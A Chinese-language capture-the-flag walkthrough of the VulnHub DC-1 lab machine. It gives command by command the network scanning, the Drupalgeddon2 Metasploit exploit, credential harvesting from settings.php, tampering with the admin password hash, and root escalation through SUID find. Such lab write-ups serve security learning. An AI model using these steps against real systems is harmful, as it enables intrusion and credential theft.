靶机 DC-1
下载地址:https://www.vulnhub.com/entry/dc-1,292/
将靶机拖入虚拟机运行,打开即可
上来先用kali中的工具扫描以下局域网中的ip
#ip addr
#arp-scan -l
or
#netdiscover -r 192.168.1.0/24 -i eth0
知道靶机ip后,nmap扫一下端口
nmap -A -p- 192.168.1.101
看到22、80、111端口和其详细信息,了解到该网站由drupal7搭建
先访问80端口看看
没有发现什么有用的信息
这里我尝试使用dirsearch目录遍历,很不幸,靶机承受不了这么大的访问量,崩了。。。。
但我们从上面nmap的扫描结果中可以看到80端口下有部分文件,但是没什么用。
尝试从drupal突破,开启msf,搜索可利用的drupal漏洞
#search drupal
这里通过尝试2018年的漏洞模块,发现有时可以利用成功,有时利用不成功(通过更换payload利用成功)
#use exploit/unix/webapp/drupal_drupalgeddon2
#set rhost 192.168.1.101
#run
获得meterpreter shell
直接查看当前目录下的内容,发现flag1.txt,读取flag1.txt
#ls
#cat flag1.txt
提示我们去寻找cms的配置文件
网上搜索drupal的配置文件形式为:
模糊搜索settings.php文件,但meterpreter下使用search命令不成功,所以我们需要进入靶机shell,使用find命令搜索
#meterpreter>shell
#find -name settings*
可以看到配置文件位置,对配置文件进行读取
cat ./sites/default/settings.php
发现flag2,及一份数据库登录密码
通过数据库账号,密码登录mysql数据库,
但现在有一个问题是,我们的shell是非登录shell且是非交互式shell,部分操作无法使用,所以我们需要对shell升级为交互式shell
#bash --login //不需要密码登录即可打开的为非登录shell
#echo $- //打印$变量查看变量的值,若值中无i (interactive shell)即为非交互式shell
//打印$变量的值为himBH,中有i则为交互式shell
测试发现靶机中安装了python,那就好办事了,直接python上
python -c 'import pty; pty.spawn("/bin/bash")'
获取到交互式shell后,登录mysql
进入mysql后,当然直奔用户表去
#show databases;
#use drupaldb
#show tables;
#select * from users;
尝试对密码进行爆破,但并没有爆破成功,搜到网上的对于drupal密码的破解方式
我们使用方法二
#php ./scripts/password-hash.sh admin //生成admin加密后的密码
#update users set pass='密码' where name='admin'; //更新admin用户的密码
更新成功后登录前台,发现flag3
关键词为PERMS,FIND,exec,提示我们使用find进行后续操作,
使用find查找看目录下有没有其他flag
find -name flag*
发现/home/flag/flag4.txt,提示我们使用和寻找到flag4一样的方法找寻root中的flag
要进入root目录需要root权限,所以需要提权
使用find查询具有特殊权限的suid命令
find / -perm -4000
find / -type f -perm -u=s 2>/dev/null
尝试使用find进行提权
touch aaa
find ./ -name aaa -exec "whoami" \;
find ./ -name aaa -exec "/bin/sh" \;
提权成功
最后一个flag
看网上其他大佬的文章有说/etc/shadow中有一个flag4用户,但我尝试以www读取/etc/shadow发现没有读取权限。而若是获得了root权限却是没必要再去破解/etc/shadow的flag4用户了